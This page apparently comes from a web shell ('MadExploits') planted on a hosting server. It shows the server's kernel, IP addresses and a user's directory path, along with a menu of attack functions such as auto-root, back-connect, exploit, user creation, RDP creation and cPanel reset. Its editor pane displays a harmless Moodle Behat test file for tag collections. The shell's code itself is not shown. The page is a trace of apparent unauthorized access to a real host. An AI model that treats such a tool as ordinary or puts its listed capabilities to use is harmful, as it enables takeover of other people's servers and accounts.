Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.179.154
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
tag /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
collections.feature
6.28
KB
-rw-r--r--
delete_tag.feature
3.8
KB
-rw-r--r--
edit_tag.feature
10.13
KB
-rw-r--r--
flag_tags.feature
5.02
KB
-rw-r--r--
standard_tags.feature
6.08
KB
-rw-r--r--
tagindex.feature
4.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : collections.feature
@core @core_tag @javascript Feature: Managers can create and manage tag collections In order to use tags effectively As a manager I need to be able to manage tag collections Background: Given the following "users" exist: | username | firstname | lastname | email | | manager1 | Manager | 1 | manager1@example.com | | user1 | User | 1 | user1@example.com | And the following "system role assigns" exist: | user | course | role | | manager1 | Acceptance test site | manager | And the following "tags" exist: | name | isstandard | | Tag0 | 1 | | Tag1 | 1 | | Tag2 | 1 | | Tag3 | 1 | And I log in as "manager1" And I navigate to "Appearance > Manage tags" in site administration And I follow "Add tag collection" And I set the following fields to these values: | Name | Hobbies | And I press "Create" Scenario: Adding tag collections When I follow "Hobbies" Then I should see "Nothing to display" Scenario: Editing tag collections When I set the field "Edit tag collection name" in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Hobbies')]" "xpath_element" to "Newname" Then I should not see "Hobbies" And I should see "Newname" Scenario: Resorting tag collections When I follow "Add tag collection" And I set the following fields to these values: | Name | Blogging | And I press "Create" Then "Blogging" "link" should appear after "Hobbies" "link" And I click on "Move up" "link" in the "Blogging" "table_row" And "Blogging" "link" should appear before "Hobbies" "link" And I click on "Move down" "link" in the "Blogging" "table_row" And "Blogging" "link" should appear after "Hobbies" "link" Scenario: Deleting tag collections When I click on "Delete" "link" in the "Hobbies" "table_row" Then I should see "Are you sure you want to delete tag collection \"Hobbies\"?" And I press "Yes" And I should not see "Hobbies" Scenario: Assigning tag area to tag collection And I should see "User interests" in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Default collection')]" "xpath_element" And I should not see "User interests" in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Hobbies')]" "xpath_element" When I set the field "Change tag collection" in the "//table[contains(@class,'tag-areas-table')]//tr[contains(.,'User interests')]" "xpath_element" to "Hobbies" Then I should not see "User interests" in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Default collection')]" "xpath_element" And I should see "User interests" in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Hobbies')]" "xpath_element" And I should see "Hobbies" in the "//table[contains(@class,'tag-areas-table')]//tr[contains(.,'User interests')]" "xpath_element" Scenario: Disabling tag areas When I click on "Disable" "link" in the "//table[contains(@class,'tag-areas-table')]//tr[contains(.,'User interests')]" "xpath_element" And I should not see "User interests" in the "table.tag-collections-table" "css_element" And I click on "Enable" "link" in the "//table[contains(@class,'tag-areas-table')]//tr[contains(.,'User interests')]" "xpath_element" And I should see "User interests" in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Default collection')]" "xpath_element" Scenario: Deleting non-empty tag collections When I set the field "Change tag collection" in the "//table[contains(@class,'tag-areas-table')]//tr[contains(.,'User interests')]" "xpath_element" to "Hobbies" And I click on "Delete" "link" in the "Hobbies" "table_row" Then I should see "Are you sure you want to delete tag collection \"Hobbies\"?" And I press "Yes" And I should not see "Hobbies" And I should see "User interests" in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Default collection')]" "xpath_element" Scenario: Moving tags when changing tag collections And I open my profile in edit mode And I expand all fieldsets And I set the field "List of interests" to "Swimming, Tag0, Tag3" And I press "Update profile" And I navigate to "Appearance > Manage tags" in site administration When I set the field "Change tag collection" in the "//table[contains(@class,'tag-areas-table')]//tr[contains(.,'User interests')]" "xpath_element" to "Hobbies" And I follow "Hobbies" Then I should see "Swimming" And I should see "Tag0" And I should see "Tag3" And I should not see "Tag1" And I should not see "Tag2" And I follow "Manage tags" And I follow "Default collection" # Tag "Swimming" was not standard and was moved completely. And I should not see "Swimming" # Standard tag was not removed. And I should see "Tag0" And I should see "Tag3" And I should see "Tag1" And I should see "Tag2" @skip_chrome_zerosize Scenario: Creating searchable and non-searchable tag collections And I follow "Add tag collection" And I set the following fields to these values: | Name | Hiddencoll | | Searchable | 0 | And I press "Create" And "Yes" "text" should not exist in the "//table[contains(@class,'tag-collections-table')]//tr[contains(.,'Hiddencoll')]" "xpath_element" And I press "Blocks editing on" # TODO MDL-57120 "Tags" link not accessible without navigation block. And I add the "Navigation" block if not present And I click on "Site pages" "list_item" in the "Navigation" "block" And I click on "Tags" "link" in the "Navigation" "block" Then the "Select tag collection" select box should contain "Default collection" And the "Select tag collection" select box should contain "Hobbies" And the "Select tag collection" select box should not contain "Hiddencoll" And I navigate to "Appearance > Manage tags" in site administration And I click on "Change searchable" "link" in the "Hobbies" "table_row" And I click on "Site pages" "list_item" in the "Navigation" "block" And I click on "Tags" "link" in the "Navigation" "block" And "Select tag collection" "select" should not exist
Close